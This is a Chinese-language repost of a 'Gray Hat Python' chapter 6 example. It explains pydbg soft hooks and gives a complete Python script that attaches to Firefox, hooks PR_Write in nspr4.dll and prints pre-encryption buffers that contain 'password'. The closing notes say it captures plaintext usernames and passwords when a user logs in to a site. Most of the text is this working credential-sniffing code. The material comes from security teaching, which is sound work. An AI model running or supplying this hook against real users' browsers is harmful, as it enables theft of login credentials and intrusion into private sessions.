转自《python灰帽子》第6章
目标:对firefox浏览器nspr4.dll模块的PR_Write函数下钩子,从其第二个参数获取未加密的数据,如果包含passwd字符串则输出该数据
说明:软钩子本质上是扩展了的软断点处理例程,适合于拦截那些调用次数少的函数
添加钩子的函数位于包utils中,通过help(utils.hooking)可以查看相关信息。
部署钩子的过程是:
1. 创建一个钩子容器对象:hook = utils.hook_container()
2. 用这个对象的方法add添加钩子,add方法原型为:
add( pydbg, address, num_args, entry_hook=None, exit_hook=None)
address为下钩子函数的地址
num_args 为下钩子函数的参数个数
入口点回调函数 entry_hook原型为:entry(dbg, args)
出口点回调函数exit_hook原型为: exit (dbg, args, return_value)
firefox_hook.py
from pydbg import *
from pydbg.defines import *
import struct
import utils
import sys
dbg = pydbg()
found_firefox = False
# Let's set a global pattern that we can make the hook
# search for
pattern = "password"
# We take in the dbg instance, which also contains all
# of our register contexts, and a list[] of arguments that
# we hooked, the one we are interested in is args[1]
def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "\x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "-----------------"
print "Pre-Encrypted: %s" % buffer
print "-----------------"
return DBG_CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# Add the hook to the container, we aren't interested
# in using an exit callback so we set it to None
hooks.add( dbg, hook_address, 2, ssl_sniff, None)
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process. Please fire up firefox first."
sys.exit(-1)
测试输出:
安装firefox浏览器,运行上面脚本,进入网站的登录界面输入登录信息,就可以获取明文的用户名和密码。有些网站可能失败,如gmail。
从上面的例子可以看出,利用pydbg可以很方便地对你感兴趣的函数下钩子,并获取参数和返回值。对于调用频繁的函数,可以尝试用Immnuity Debugger部署硬钩子,或者其他的hook技术。